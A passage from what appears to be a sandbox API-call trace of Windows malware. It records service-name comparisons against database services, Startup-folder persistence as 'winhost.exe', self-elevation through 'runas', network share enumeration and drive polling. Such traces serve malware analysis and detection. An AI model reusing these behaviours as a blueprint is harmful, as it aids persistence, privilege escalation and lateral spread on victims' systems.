returned -1 [0246.611] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0246.611] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0246.611] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0246.611] lstrlenW (lpString="PcaSvc") returned 6 [0246.611] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0246.611] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0246.611] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0246.611] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0246.611] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0246.611] lstrlenW (lpString="PlugPlay") returned 8 [0246.611] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0246.611] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0246.611] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0246.611] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0246.611] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0246.611] lstrlenW (lpString="Power") returned 5 [0246.611] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0246.611] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0246.611] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0246.611] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0246.611] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0246.611] lstrlenW (lpString="ProfSvc") returned 7 [0246.611] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0246.611] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0246.611] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0246.611] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0246.611] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0246.611] lstrlenW (lpString="RpcEptMapper") returned 12 [0246.611] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0246.611] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0246.611] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0246.611] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0246.611] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0246.611] lstrlenW (lpString="RpcSs") returned 5 [0246.611] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0246.611] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0246.611] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0246.611] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0246.611] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0246.611] lstrlenW (lpString="SamSs") returned 5 [0246.612] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0246.612] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0246.612] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0246.612] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0246.612] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0246.612] lstrlenW (lpString="Schedule") returned 8 [0246.612] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0246.612] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0246.612] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0246.612] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0246.612] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0246.612] lstrlenW (lpString="SecurityHealthService") returned 21 [0246.612] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SecurityHealthService") returned -1 [0246.612] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SecurityHealthService") returned -1 [0246.612] lstrcmpiW (lpString1="sqlwriter", lpString2="SecurityHealthService") returned 1 [0246.612] lstrcmpiW (lpString1="mssqlserver", lpString2="SecurityHealthService") returned -1 [0246.612] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SecurityHealthService") returned 1 [0246.612] lstrlenW (lpString="SENS") returned 4 [0246.612] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0246.612] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0246.612] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0246.612] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0246.612] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0246.612] lstrlenW (lpString="ShellHWDetection") returned 16 [0246.612] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0246.612] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0246.612] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0246.612] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0246.612] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0246.612] lstrlenW (lpString="Spooler") returned 7 [0246.612] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0246.612] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0246.612] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0246.612] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0246.612] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0246.612] lstrlenW (lpString="StateRepository") returned 15 [0246.612] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="StateRepository") returned -1 [0246.612] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="StateRepository") returned -1 [0246.612] lstrcmpiW (lpString1="sqlwriter", lpString2="StateRepository") returned -1 [0246.612] lstrcmpiW (lpString1="mssqlserver", lpString2="StateRepository") returned -1 [0246.612] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="StateRepository") returned -1 [0246.612] lstrlenW (lpString="SysMain") returned 7 [0246.612] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0246.612] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0246.612] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0246.612] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0246.612] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0246.612] lstrlenW (lpString="SystemEventsBroker") returned 18 [0246.612] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SystemEventsBroker") returned -1 [0246.612] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SystemEventsBroker") returned -1 [0246.612] lstrcmpiW (lpString1="sqlwriter", lpString2="SystemEventsBroker") returned -1 [0246.612] lstrcmpiW (lpString1="mssqlserver", lpString2="SystemEventsBroker") returned -1 [0246.612] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SystemEventsBroker") returned -1 [0246.613] lstrlenW (lpString="Themes") returned 6 [0246.613] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0246.613] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0246.613] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0246.613] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0246.613] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0246.613] lstrlenW (lpString="tiledatamodelsvc") returned 16 [0246.613] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="tiledatamodelsvc") returned -1 [0246.613] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="tiledatamodelsvc") returned -1 [0246.613] lstrcmpiW (lpString1="sqlwriter", lpString2="tiledatamodelsvc") returned -1 [0246.613] lstrcmpiW (lpString1="mssqlserver", lpString2="tiledatamodelsvc") returned -1 [0246.613] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="tiledatamodelsvc") returned -1 [0246.613] lstrlenW (lpString="TimeBrokerSvc") returned 13 [0246.613] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="TimeBrokerSvc") returned -1 [0246.613] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="TimeBrokerSvc") returned -1 [0246.613] lstrcmpiW (lpString1="sqlwriter", lpString2="TimeBrokerSvc") returned -1 [0246.613] lstrcmpiW (lpString1="mssqlserver", lpString2="TimeBrokerSvc") returned -1 [0246.613] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x56ae50 | out: hHeap=0x4f0000) returned 1 [0246.613] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x384 [0246.615] Process32FirstW (hSnapshot=0x384, lppe=0x244fd2c) Thread: id = 312 os_tid = 0xd18 [0223.722] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x10) returned 0x580300 [0223.722] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xfffe) returned 0x559560 [0223.722] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x10) returned 0x580318 [0223.722] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x580318, Size=0x20) returned 0x52eb90 [0223.722] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x10) returned 0x580318 [0223.722] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x580318, Size=0x20) returned 0x52ee38 [0223.722] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x73f50000 [0223.722] GetProcAddress (hModule=0x73f50000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x73f66b30 [0223.722] Wow64DisableWow64FsRedirection (in: OldValue=0x258ff20 | out: OldValue=0x258ff20*=0x0) returned 1 [0223.722] lstrlenW (lpString="kernel32.dll") returned 12 [0223.722] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52eb90 | out: hHeap=0x4f0000) returned 1 [0223.722] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0223.722] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ee38 | out: hHeap=0x4f0000) returned 1 [0223.722] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x559560, nSize=0x7fff | out: lpFilename="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\winhost.exe" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\startup\\winhost.exe")) returned 0x48 [0223.725] ShellExecuteExW (in: pExecInfo=0x258ff2c*(cbSize=0x3c, fMask=0x0, hwnd=0x0, lpVerb="runas", lpFile="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\winhost.exe", lpParameters="-a", lpDirectory=0x0, nShow=1, hInstApp=0x0, lpIDList=0x0, lpClass=0x0, hkeyClass=0x0, dwHotKey=0x0, hIcon=0x0, hMonitor=0x0, hProcess=0x0) | out: pExecInfo=0x258ff2c*(cbSize=0x3c, fMask=0x0, hwnd=0x0, lpVerb="runas", lpFile="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\winhost.exe", lpParameters="-a", lpDirectory=0x0, nShow=1, hInstApp=0x2a, lpIDList=0x0, lpClass=0x0, hkeyClass=0x0, dwHotKey=0x0, hIcon=0x0, hMonitor=0x0, hProcess=0x0)) returned 1 [0243.896] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x10) returned 0x40da528 [0243.896] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x40da528, Size=0x20) returned 0x40eb418 [0243.896] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x10) returned 0x40da510 [0243.896] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x40da510, Size=0x20) returned 0x40eb288 [0243.896] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x73f50000 [0243.896] GetProcAddress (hModule=0x73f50000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x73f66b30 [0243.897] Wow64DisableWow64FsRedirection (in: OldValue=0x0 | out: OldValue=0x0) returned 0 [0243.899] lstrlenW (lpString="kernel32.dll") returned 12 [0243.899] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x40eb288 | out: hHeap=0x4f0000) returned 1 [0243.900] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0243.900] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x40eb418 | out: hHeap=0x4f0000) returned 1 [0243.900] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x559560 | out: hHeap=0x4f0000) returned 1 [0243.900] lstrlenW (lpString="runas") returned 5 [0243.900] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x580300 | out: hHeap=0x4f0000) returned 1 [0243.900] WaitForSingleObject (hHandle=0x1ec, dwMilliseconds=0x0) returned 0x0 [0243.900] ReleaseMutex (hMutex=0x1ec) returned 1 [0243.900] Sleep (dwMilliseconds=0x1f4) [0244.706] WaitForSingleObject (hHandle=0x1ec, dwMilliseconds=0x0) returned 0x0 [0244.706] ReleaseMutex (hMutex=0x1ec) returned 1 [0244.706] Sleep (dwMilliseconds=0x1f4) [0245.342] WaitForSingleObject (hHandle=0x1ec, dwMilliseconds=0x0) returned 0x102 [0245.342] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x534610 | out: hHeap=0x4f0000) returned 1 Thread: id = 313 os_tid = 0xd1c [0223.724] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x10) returned 0x559228 [0223.724] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x559228, Size=0x20) returned 0x52ee38 [0223.724] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x52ee38, Size=0x40) returned 0x50a628 [0223.724] GetLogicalDrives () returned 0x4 [0223.724] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xfffe) returned 0x580fa8 [0223.724] GetComputerNameW (in: lpBuffer=0x580fac, nSize=0x26cff64 | out: lpBuffer="NQDPDE", nSize=0x26cff64) returned 1 [0223.724] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x1000) returned 0x569e48 [0223.724] WNetOpenEnumW (in: dwScope=0x3, dwType=0x1, dwUsage=0x0, lpNetResource=0x0, lphEnum=0x26cff34 | out: lphEnum=0x26cff34*=0x506780) returned 0x0 [0223.734] WNetEnumResourceW (in: hEnum=0x506780, lpcCount=0x26cff30, lpBuffer=0x569e48, lpBufferSize=0x26cff38 | out: lpcCount=0x26cff30, lpBuffer=0x569e48, lpBufferSize=0x26cff38) returned 0x103 [0223.741] WNetCloseEnum (hEnum=0x506780) returned 0x0 [0223.741] WNetOpenEnumW (in: dwScope=0x2, dwType=0x1, dwUsage=0x0, lpNetResource=0x0, lphEnum=0x26cff34 | out: lphEnum=0x26cff34*=0x509ad8) returned 0x0 [0223.871] WNetEnumResourceW (in: hEnum=0x509ad8, lpcCount=0x26cff30, lpBuffer=0x569e48, lpBufferSize=0x26cff38 | out: lpcCount=0x26cff30, lpBuffer=0x569e48, lpBufferSize=0x26cff38) returned 0x0 [0223.871] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x1000) returned 0x591fe0 [0223.871] WNetOpenEnumW (in: dwScope=0x2, dwType=0x1, dwUsage=0x0, lpNetResource=0x569e48, lphEnum=0x26cff08 | out: lphEnum=0x26cff08*=0x506520) returned 0x0 [0223.874] WNetEnumResourceW (in: hEnum=0x506520, lpcCount=0x26cff04, lpBuffer=0x591fe0, lpBufferSize=0x26cff0c | out: lpcCount=0x26cff04, lpBuffer=0x591fe0, lpBufferSize=0x26cff0c) returned 0x103 [0223.874] WNetCloseEnum (hEnum=0x506520) returned 0x0 [0223.874] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x1000) returned 0x594ff8 [0223.874] WNetOpenEnumW (in: dwScope=0x2, dwType=0x1, dwUsage=0x0, lpNetResource=0x569e68, lphEnum=0x26cff08 | out: lphEnum=0x26cff08*=0x0) returned 0x4b8 [0238.761] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x1000) returned 0x4101d70 [0238.761] WNetOpenEnumW (in: dwScope=0x2, dwType=0x1, dwUsage=0x0, lpNetResource=0x569e88, lphEnum=0x26cff08 | out: lphEnum=0x26cff08*=0x0) returned 0x4c6 [0238.777] WNetEnumResourceW (in: hEnum=0x509ad8, lpcCount=0x26cff30, lpBuffer=0x569e48, lpBufferSize=0x26cff38 | out: lpcCount=0x26cff30, lpBuffer=0x569e48, lpBufferSize=0x26cff38) returned 0x103 [0238.777] WNetCloseEnum (hEnum=0x509ad8) returned 0x0 [0238.777] GetLogicalDrives () returned 0x4 [0238.777] Sleep (dwMilliseconds=0x64) [0239.073] GetLogicalDrives () returned 0x4 [0239.073] Sleep (dwMilliseconds=0x64) [0239.268] GetLogicalDrives () returned 0x4 [0239.268] Sleep (dwMilliseconds=0x64) [0239.542] GetLogicalDrives () returned 0x4 [0239.542] Sleep (dwMilliseconds=0x64) [0239.753] GetLogicalDrives () returned 0x4 [0239.753] Sleep (dwMilliseconds=0x64) [0239.965] GetLogicalDrives () returned 0x4 [0239.965] Sleep (dwMilliseconds=0x64) [0240.305] GetLogicalDrives () returned 0x4 [0240.305] Sleep (dwMilliseconds=0x64) [0240.528] GetLogicalDrives () returned 0x4 [0240.528] Sleep (dwMilliseconds=0x64) [0240.959] GetLogicalDrives () returned 0x4 [0240.959] Sleep (dwMilliseconds=0x64) [0241.321] GetLogicalDrives () returned 0x4 [0241.321] Sleep (dwMilliseconds=0x64) [0241.732] GetLogicalDrives () returned 0x4 [0241.732] Sleep (dwMilliseconds=0x64) [0242.106] GetLogicalDrives () returned 0x4 [0242.106] Sleep (dwMilliseconds=0x64) [0242.261] GetLogicalDrives () returned 0x4 [0242.261] Sleep (dwMilliseconds=0x64) [0242.506] GetLogicalDrives () returned 0x4 [0242.506] Sleep (dwMilliseconds=0x64) [0242.721] GetLogicalDrives () returned 0x4 [0242.721] Sleep (dwMilliseconds=0x64) [0242.968] GetLogicalDrives () returned 0x4 [0242.968] Sleep (dwMilliseconds=0x64) [0243.247] GetLogicalDrives () returned 0x4 [0243.248] Sleep (dwMilliseconds=0x64) [0243.558] GetLogicalDrives () returned 0x4 [0243.558] Sleep (dwMilliseconds=0x64) [0243.688] GetLogicalDrives () returned 0x4 [0243.688] Sleep (dwMilliseconds=0x64) [0243.870] GetLogicalDrives () returned 0x4 [0243.870] Sleep (dwMilliseconds=0x64) [0244.037] GetLogicalDrives () returned 0x4 [0244.037] Sleep (dwMilliseconds=0x64) [0244.241] GetLogicalDrives () returned 0x4 [0244.241] Sleep (dwMilliseconds=0x64) [0244.654] GetLogicalDrives () returned 0x4 [0244.654] Sleep (dwMilliseconds=0x64) [0244.945] GetLogicalDrives () returned 0x4 [0244.945] Sleep (dwMilliseconds=0x64) [0245.193] GetLogicalDrives () returned 0x4 [0245.193] Sleep (dwMilliseconds=0x64) [0245.413] lstrlenW (lpString="ABCDEFGHIJKLMNOPQRSTUVWXYZ") returned 26 [0245.413] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x50a628 | out: hHeap=0x4f0000) returned 1 Thread: id = 314 os_tid = 0xd20 [0224.031] GetTickCount () returned 0x1134a0f [0224.031] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x24) returned 0x574ea8 [0224.031] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x408d90, lpParameter=0x574ea8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x318 [0224.032] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x408d90, lpParameter=0x574ea8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x31c [0224.032] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x408d90, lpParameter=0x574ea8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x320 [0224.032] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x408d90, lpParameter=0x574ea8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x324 [0224.033] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x10) returned 0x559528 [0224.033] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x559528, Size=0x20) returned 0x52f040 [0224.033] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x10) returned 0x559528 [0224.033] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x559528, Size=0x20) returned 0x52f090 [0224.033] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x73f50000 [0224.033] GetProcAddress (hModule=0x73f50000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x73f66b30 [0224.033] Wow64DisableWow64FsRedirection (in: OldValue=0x280ff7c | out: OldValue=0x280ff7c*=0x0) returned 1 [0224.033] lstrlenW (lpString="kernel32.dll") returned 12 [0224.033] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52f040 | out: hHeap=0x4f0000) returned 1 [0224.033] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0224.033] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52f090 | out: hHeap=0x4f0000) returned 1 [0224.033] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4091a0, lpParameter=0x536510, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x328 [0224.034] WaitForSingleObject (hHandle=0x328, dwMilliseconds=0x64) returned 0x102 [0224.210] GetTickCount () returned 0x1134aca [0224.210] WaitForSingleObject (hHandle=0x328, dwMilliseconds=0x64) returned 0x102 [0224.437] GetTickCount () returned 0x1134ba5 [0224.437] WaitForSingleObject (hHandle=0x328, dwMilliseconds=0x64) returned 0x102 [0224.681] GetTickCount () returned 0x1134c9f [0224.681] WaitForSingleObject (hHandle=0x328, dwMilliseconds=0x64) returned 0x102 [0224.944] GetTickCount () returned 0x1134da9 [0224.944] WaitForSingleObject (hHandle=0x328, dwMilliseconds=0x64) returned 0x102 [0225.385] GetTickCount () returned 0x1134f5e [0225.385] GetTickCount () returned 0x1134f5e [0225.385] WaitForSingleObject (hHandle=0x328, dwMilliseconds=0x64) returned 0x102 [0225.756] GetTickCount () returned 0x11350d5 [0225.756] WaitForSingleObject (hHandle=0x328, dwMilliseconds=0x64) returned 0x102 [0226.046] GetTickCount () returned 0x11351ef [0226.046] WaitForSingleObject (hHandle=0x328, dwMilliseconds=0x64) returned 0x102 [0226.371] GetTickCount () returned 0x1135337 [0226.371] WaitForSingleObject (hHandle=0x328, dwMilliseconds=0x64) returned 0x102 [0226.808] GetTickCount () returned 0x11354ec [0226.808] GetTickCount () returned 0x11354ec [0226.808] WaitForSingleObject (hHandle=0x328, dwMilliseconds=0x64) returned 0x102 [0227.257] GetTickCount () returned 0x11356b1 [0227.257] WaitForSingleObject (hHandle=0x328, dwMilliseconds=0x64) returned 0x102 [0227.695] GetTickCount () returned 0x1135867 [0227.695] WaitForSingleObject (hHandle=0x328, dwMilliseconds=0x64) returned 0x102 [0228.138] GetTickCount () returned 0x1135a2c [0228.138] GetTickCount () returned 0x1135a2c [0228.138] WaitForSingleObject (hHandle=0x328, dwMilliseconds=0x64) returned 0x102 [0228.451] GetTickCount () returned 0x1135b55 [0228.451] WaitForSingleObject (hHandle=0x328, dwMilliseconds=0x64) returned 0x102 [0228.914] GetTickCount () returned 0x1135d1a [0228.914] WaitForSingleObject (hHandle=0x328, dwMilliseconds=0x64) returned 0x102 [0229.377] GetTickCount () returned 0x1135eef [0229.377] GetTickCount () returned 0x1135eef [0229.377] WaitForSingleObject (hHandle=0x328, dwMilliseconds=0x64) returned 0x102 [0229.605] GetTickCount () returned 0x1135fd9 [0229.605] WaitForSingleObject (hHandle=0x328, dwMilliseconds=0x64) returned 0x102 [0229.784] GetTickCount () returned 0x1136085 [0229.784] WaitForSingleObject (hHandle=0x328, dwMilliseconds=0x64) returned 0x102 [0229.978] GetTickCount () returned 0x1136150 [0229.978] WaitForSingleObject (hHandle=0x328, dwMilliseconds=0x64) returned 0x102 [0230.258] GetTickCount () returned 0x113625a [0230.258] WaitForSingleObject (hHandle=0x328, dwMilliseconds=0x64) returned 0x102 [0230.518] GetTickCount () returned 0x1136363 [0230.518] GetTickCount () returned 0x1136363 [0230.518] WaitForSingleObject (hHandle=0x328, dwMilliseconds=0x64) returned 0x102 [0230.697] GetTickCount () returned 0x113646d [0230.788] WaitForSingleObject (hHandle=0x328, dwMilliseconds=0x64) returned 0x102 [0231.120] GetTickCount () returned 0x11365c5 [0231.120] WaitForSingleObject (hHandle=0x328, dwMilliseconds=0x64) returned 0x102 [0231.816] GetTickCount () returned 0x1136874 [0231.816] GetTickCount () returned 0x1136874 [0231.816] WaitForSingleObject (hHandle=0x328, dwMilliseconds=0x64) returned 0x102 [0232.124] GetTickCount () returned 0x11369ad [0232.124] WaitForSingleObject (hHandle=0x328, dwMilliseconds=0x64) returned 0x102 [0232.361] GetTickCount () returned 0x1136a97 [0232.361] WaitForSingleObject (hHandle=0x328, dwMilliseconds=0x64) returned 0x102 [0232.632] GetTickCount () returned 0x1136bb0 [0232.632] WaitForSingleObject (hHandle=0x328, dwMilliseconds=0x64) returned 0x102 [0232.928] GetTickCount () returned 0x1136cca [0232.928] GetTickCount () returned 0x1136cca [0232.929] WaitForSingleObject (hHandle=0x328, dwMilliseconds=0x64) returned 0x102 [0233.065] GetTickCount () returned 0x1136d56 [0233.065] WaitForSingleObject (hHandle=0x328, dwMilliseconds=0x64) returned 0x102 [0233.289] GetTickCount () returned 0x1136e41 [0233.289] WaitForSingleObject (hHandle=0x328, dwMilliseconds=0x64) returned 0x102 [0233.482] GetTickCount () returned 0x1136efc [0233.482] WaitForSingleObject (hHandle=0x328, dwMilliseconds=0x64) returned 0x102 [0233.869] GetTickCount () returned 0x1137083 [0233.869] WaitForSingleObject (hHandle=0x328, dwMilliseconds=0x64) returned 0x102 [0234.342] GetTickCount () returned 0x1137257 [0234.342] GetTickCount () returned 0x1137257 [0234.342] WaitForSingleObject (hHandle=0x328, dwMilliseconds=0x64) returned 0x102 [0234.911] GetTickCount () returned 0x113749a [0234.911] WaitForSingleObject (hHandle=0x328, dwMilliseconds=0x64) returned 0x102 [0235.207] GetTickCount () returned 0x11375c2 [0235.207] WaitForSingleObject (hHandle=0x328, dwMilliseconds=0x64) returned 0x102 [0235.369] GetTickCount () returned 0x113765f [0235.370] GetTickCount () returned 0x113765f [0235.370] WaitForSingleObject (hHandle=0x328, dwMilliseconds=0x64) returned 0x102 [0235.571] GetTickCount () returned 0x113772a [0235.571] WaitForSingleObject (hHandle=0x328, dwMilliseconds=0x64) returned 0x102 [0235.996] GetTickCount () returned 0x11378d0 [0235.996] WaitForSingleObject (hHandle=0x328, dwMilliseconds=0x64) returned 0x102 [0236.141] GetTickCount () returned 0x113796c [0236.141] WaitForSingleObject (hHandle=0x328, dwMilliseconds=0x64) returned 0x102 [0236.479] GetTickCount () returned 0x1137ab4 [0236.479] GetTickCount () returned 0x1137ab4 [0236.479] WaitForSingleObject (hHandle=0x328, dwMilliseconds=0x64) returned 0x102 [0236.931] GetTickCount () returned 0x1137c79 [0236.931] WaitForSingleObject (hHandle=0x328, dwMilliseconds=0x64) returned 0x102 [0237.246] GetTickCount () returned 0x1137db2 [0237.246] WaitForSingleObject (hHandle=0x328, dwMilliseconds=0x64) returned 0x102 [0237.541] GetTickCount () returned 0x1137edb [0237.541] GetTickCount () returned 0x1137edb [0237.541] WaitForSingleObject (hHandle=0x328, dwMilliseconds=0x64) returned 0x102 [0237.782] GetTickCount () returned 0x1137fd5 [0237.782] WaitForSingleObject (hHandle=0x328, dwMilliseconds=0x64) returned 0x102 [0237.960] GetTickCount () returned 0x1138080 [0237.960] WaitForSingleObject (hHandle=0x328, dwMilliseconds=0x64) returned 0x102 [0238.109] GetTickCount () returned 0x113811d [0238.109] 